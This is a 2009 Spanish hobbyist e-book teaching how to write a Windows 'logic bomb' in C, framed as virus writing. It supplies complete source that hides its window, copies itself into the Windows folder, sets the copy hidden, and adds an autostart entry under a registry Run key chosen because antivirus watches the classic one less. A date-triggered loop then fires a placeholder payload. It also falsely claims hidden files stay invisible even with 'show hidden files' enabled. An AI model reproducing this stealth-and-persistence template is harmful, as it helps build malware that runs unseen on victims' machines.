2009

Creación de una bomba lógica Tomo II | lenguaje C

Ghost

Portalhacknet@gmail.com

14/08/2009

TABLA DE CONTENIDO

1. **INTRODUCCIÓN**
   1.1 El lenguaje de programación C
   1.2 El API de Windows
2. **MÁS TECNICAS DE PROGRAMACIÓN**
   2.1 Programando una bomba lógica en C
   2.2 Ocultación
   2.3 Métodos de arranque
3. **CONCLUSIONES**

1. INTRODUCCIÓN

Nuevamente estamos en un nuevo tomo de esta seria de "e-books" de programación, en el que veremos más técnicas de programación para el diseño y desarrollo de una bomba lógica, pero esta vez avanzaremos un poco más en el camino del conocimiento, y haciendo más eficiente nuestra escritura de virus. En esta ocasión vamos a dedicar el libro al lenguaje de programación C, así mismo incluiremos técnicas para la ocultación y una mayor eficiencia en la ejecución de nuestra bomba lógica, espero sea de su agrado y sin más preámbulos empecemos…

1.1 lenguaje de programación C

C, es uno de los primeros lenguajes en un intento de facilitar la programación en los ordenadores personales, tratando así de reemplazar al clásico pero de cierta forma difícil lenguaje ensamblador, en este libro usaremos este lenguaje para continuar programando una bomba lógica, que será más eficiente que escribirla en batch o incluso en object pascal.

Digo que es más eficiente porque si comparan un ejecutable de un virus con las mismas funciones que uno escrito en C, verán que el tamaño en bytes es considerablemente bajo en relación a cada uno, en C el ejecutable pesará posiblemente 20 KB o menos y en Delphi (Object pascal), el ejecutable tendrá al menos 90 KB por encima, por lo que podemos deducir que eso supone una gran mejora en este campo de la programación de bomba lógicas, incluso si llegáramos a programar una BL (bomba lógica), en el lenguaje ensamblador, esta tendrá un tamaño menor que escrita en C, esto se debe a que los lenguajes de bajo nivel son más eficientes para tareas de hardware, y para algunas otras cosas, pero en sí escoger un lenguaje ya depende de ustedes.

1.2 El API de Windows

Windows posee ciertas librerías que usa para llamar funciones que se encuentran ya pre programadas (como por ejemplo copiar un archivo, obtener el nombre de un archivo etc.…), estas funciones se encuentran en su mayoría en librerías.*dll, y la mayoría puede ser llamada desde casi cualquier lenguaje de programación.

En internet existen muchos manuales de referencia para el uso del API de Windows, por lo que pueden utilizar el MSDN de microsoft que está en su página oficial, y yo recomiendo utilizar el manual de referencias de WIN32 (**Microsoft® Win32® Programmer's Reference**) que viene por defecto en el instalador de Delphi 7SE.

2. MÁS TÉCNICAS DE PROGRAMACIÓN

En este apartado veremos algunas otras técnicas de nivel intermedio para que nuestra bomba lógica sea más eficiente.

2.1 Programación de una bomba lógica en C

Bien, como trabajaremos exclusivamente con el API de windows debemos incluir la librería principal de donde podemos llamar las APIS de las que haremos uso:

```
#include<windows.h>
```

Para evitar que se vea la ventana del DOS, llamaremos esta API para que oculte la ventana del CMD.

```
ShowWindow(GetForegroundWindow(),SW_HIDE);
```

Ahora necesitamos obtener el nombre d un directorio para guardar nuestro *.exe, en este caso usaremos la carpeta de windows, declaramos una variable tipo arreglo(un char):

```
char WinDir[MAX_PATH];
```

Y luego llamamos el api para obtener el directorio de windows,, como atributos ponemos el nombre de la variable un entero que indica la cantidad máxima de caracteres que este nombre o cadena de caracteres puede tener:

```
GetWindowsDirectory(WinDir,255);
```

En la referencia de WIN32 dicen sobre esta API:

The GetWindowsDirectory function retrieves the path of the Windows directory. The Windows directory contains such files as Windows-based applications, initialization files, and Help files.

```
UINT GetWindowsDirectory(
  LPTSTR lpBuffer,     // address of buffer for Windows directory
  UINT uSize  // size of directory buffer
);
```

Ahora utilizamos la función strcat(), para agregarle a nuestra dirección un slash al final ya que el api nos devuelve solo el nombre sin el "\" al final:

```
strcat(WinDir,"\\");
```

WinDir indica la variable que ya obtuvimos con el nombre y el doble slash indica un "\" al final, es doble porque uno es para indicar que se va a usar un carácter especial. strcat es una función propia de C que tiene un equivalente a una función de windows:

The lstrcat function appends one string to another.

```
LPTSTR lstrcat(
  LPTSTR lpString1,   // address of buffer for concatenated strings
  LPCTSTR lpString2  // address of string to add to string1
);
```

Ahora vamos a necesitar el nombre y directorio de nuestro fichero actual, declaramos un char para guardarlo primero:

```
char modname[255];
```

Despues utilizamos el API de windows GetModuleFileName, que nos retorna ese valor, es decir el nombre de nuestro fichero ejecutable junto con su dirección:

```
GetModuleFileName(0,modname,255);
```

En el WIN32 Reference dicen:

The GetModuleFileName function retrieves the full path and filename for the executable file containing the specified module.

Windows 95: The GetModuleFilename function will return long filenames when an application's version number is greater than or equal to 4.00 and the long filename is available. Otherwise, it returns only 8.3 format filenames.

```
DWORD GetModuleFileName(
  HMODULE hModule,      // handle to module to find filename for
  LPTSTR lpFilename,    // pointer to buffer for module path
  DWORD nSize       // size of buffer, in characters
);
```

Ahora utilizamos ese mismo fichero que se ejecuto para copiarlo en una carpeta que sea más segura para que pueda sobrevivir:

```
CopyFile(modname,strcat(WinDir,"talessss.exe"),FALSE);
```

El funcionamiento de esta API es sencillo, ponemos la ruta de origen y luego la ruta de destino, en este caso **modname**, era la ruta de nuestro ejecutable que obtuvimos anteriormente, y strcat unirá el nombre del directorio de windows con el nombre de nuestro nuevo fichero, para así obtener una ruta completa de destino.

en el WIN32 reference dicen:

The CopyFile function copies an existing file to a new file.

```
BOOL CopyFile(
  LPCTSTR lpExistingFileName,     // pointer to name of an existing file
  LPCTSTR lpNewFileName,          // pointer to filename to copy to
  BOOL bFailIfExists              // flag for operation if file exists
);
```

Bien, vamos a trabajar con el registro de windows, para ello necesitaremos la ruta completa de nuestro ejecutable, como la última vez que usamos strcat con la variable WinDir obtuvimos la ruta completa, la usaremos para meterla en otra variable y asi usarla para el registro de windows:

```
strcpy(szbuf,WinDir);
```

El funcionamiento de etsa función es sencilla copia en una variable el contenido de otra, pero antes claro, la declaramos.

```
char szbuf[80];
```

Tendremos que empezar a crear una nueva clave para trabajar con el registro en este caso usaremos la clave run del regedit, primero escogemos la ruta principal, que es como si fuera un constante en este caso es KKEY_LOCAL_MACHINE , luego escogemos la ruta y la ponemos como cadena y por ultimo ponemos el nombre de la variable que usaremos para trabajar con el registro, en este caso llamada reg, y la unimos con el ampersan "&".

```
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\Run",&reg);
```

La variable que declaremos para trabajar con el registro debe ser declarada así:

```
HKEY reg;
```

Donde KHEY es el tipo y reg es el nombre de la variable.

En las referencias dice:

The RegCreateKey function creates the specified key. If the key already exists in the registry, the function opens it. This function is provided for compatibility with Windows version 3.1. Win32-based applications should use the RegCreateKeyEx function.

```
LONG RegCreateKey(
  HKEY hKey,          // handle of an open key
  LPCTSTR lpSubKey,       // address of name of subkey to open
  PHKEY phkResult  // address of buffer for opened handle
 );
```

Ahora grabamos el nuevo registro, pero con la ruta de origen de nuestro archivo ejecutable,

```
RegSetValueEx(reg,"BombitaxD",0,REG_SZ,(LPBYTE)szbuf,255);
```

Para entender esta parte veamos lo que dicen en el WIN32 reference:

The RegSetValueEx function stores data in the value field of an open registry key. It can also set additional value and type information for the specified key.

```
LONG RegSetValueEx(
  HKEY hKey,          // handle of key to set value for
  LPCTSTR lpValueName,   // address of value to set
  DWORD Reserved,         // reserved
  DWORD dwType,  // flag for value type
  CONST BYTE *lpData,      // address of value data
  DWORD cbData   // size of value data
 );
```

Por último libremos el registro:

```
RegCloseKey(reg);
```

Creamos un bucle para que ejecute las siguientes funciones:

```
GetLocalTime(&stime);
```

Y antes declaramos una variable así:

```
SYSTEMTIME stime;
```

GetLocalTime, Nos devolverá la hora y fecha actual, para acceder a cada item de tiempo lo hacemos con el nombre de la variable seguido de un punto y el nombre de la constante, veamos primero las referencias:

The SYSTEMTIME structure represents a date and time using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.

```
typedef struct _SYSTEMTIME {  // st
    WORD wYear;
    WORD wMonth;
    WORD wDayOfWeek;
    WORD wDay;
    WORD wHour;
    WORD wMinute;
    WORD wSecond;
    WORD wMilliseconds;
} SYSTEMTIME;
```

Y luego recuerden colocar un timer, que es el que verificara el tiempo en milisegundos y ejecutará las acciones que siguen:

```
Sleep(1);
    if (stime.wDay == 14 && stime.wMonth == 8 && stime.wYear == 2009){
    MessageBox(0,"Es la fecha","MSG",MB_OK);
      }
```

Bien lo que hace lo anterior es verificar si es la fecha para ejecutarse, si es así muestra un mensaje en pantalla.

Veamos el código completo:

```
#include<windows.h>

int main() {
   char WinDir[MAX_PATH];
   char modname[255];
   HKEY reg;
   char szbuf[80];
   SYSTEMTIME stime;
   bool dec = false;

   ShowWindow(GetForegroundWindow(),SW_HIDE);
   GetWindowsDirectory(WinDir,255);
   strcat(WinDir,"\\");
   GetModuleFileName(0,modname,255);
   CopyFile(modname,strcat(WinDir,"talessss.exe"),FALSE);
   SetFileAttributes(WinDir,FILE_ATTRIBUTE_HIDDEN);
   strcpy(szbuf,WinDir);

RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\po
licies\\Explorer\\Run",&reg);
 RegSetValueEx(reg,"BombitaxD",0,REG_SZ,(LPBYTE)szbuf,255);
RegCloseKey(reg);
while(dec == false) {
GetLocalTime(&stime);
 Sleep(1);
          if (stime.wDay == 14 && stime.wMonth == 9 && stime.wYear == 2009){
                    MessageBox(0,"Es la fecha","MSG",MB_OK);
                    dec = true;
          }
   }
}
```

2.2 Ocultación

Para que nuestra aplicación pueda hacerse más difícil de encontrar debemos utilizar alguna técnica que nos ayude a ocultar nuestro archivo, para eso utilizaremos el API e windows **SetFileAttributes**, que nos ayuda a cambiar los atributos de un archivo, según nuestra necesidad, para ello le pondremos como atributo un FILE_ATTRIBUTE_HIDDEN.

```
SetFileAttributes(WinDir,FILE_ATTRIBUTE_HIDDEN);
```

Donde "WinDir", es una variable que posteriormente a almacenado el directorio completo de nuestro fichero. En el manual de referencia dice:

The SetFileAttributes function sets a file's attributes.

BOOL SetFileAttributes(

LPCTSTR lpFileName, // address of filename

DWORD dwFileAttributes // address of attributes to set

);

Con eso nuestra aplicación quedará invisible, incluso si activan la opción "Mostrar archivos ocultos" en opciones de carpeta.

2.3 Métodos de arranque

Método Run:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Es la clave clásica donde se colocan los programas, para que arranquen con el sistema, ya muchos antivirus la detectan, pero puedes usarla como primera opción antes de sacar una versión mejorada de tu aplicación y usar otros métodos.

Método policies

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run

Método recomendado como una buena alternativa, solo hay que añadir la clave y listo.

3. CONCLUSIONES

Como se pudo apreciar, programar una bomba lógica en C, no fue más difícil que realizarla en pascal o incluso en otro lenguaje, y haciéndolas en este lenguaje tendremos un control más directo sobre las funciones que realice nuestra aplicación.

AGRADECIMIENTOS

No podía faltar estar sección, nuevamente quiero dedicarle esto a las pocas personas que hacen esto una realidad, y que de alguna u otra forma me apoyan, y claro no puede faltar decirles a ustedes que están leyendo esto, Gracias.

Y recuerden que pronto estaré sacando mas e-books para que algunos aficionados como yo sigan leyendo y aprendiendo algo nuevo cada día.

A aquellos de los que **he aprendido** mucho: PaRRbot, Eliuth, PervethSO, SkullMaster123.

A aquellos que siempre **han creído en mí**: Gerson, Ziggy, Zrallter, Input.

A los compañeros que están en este mundo de la seguridad informática y que **son del país donde resido** ☺ : Urban, Radical, Cristian, Monje, Alejo_0317.

A las personas con las que **comparto a diario** y me hacen querer ser mejor que ellos :P : Jaime(Alias conquista xD), Jirson (Alias ñero del Ricaurte xD).

Y claro al foro de Gedzac, que son los que me inspiraron a seguir en esto del Vxing, en el que apenas estoy comenzando.

"Soy malo en calculo, algebra, geometría, física y demás, no me importa, pero lo que no me puedo permitir es ser malo en programación".

###

#Comentarios a: portalhacknet@gmail.com
#By Ghost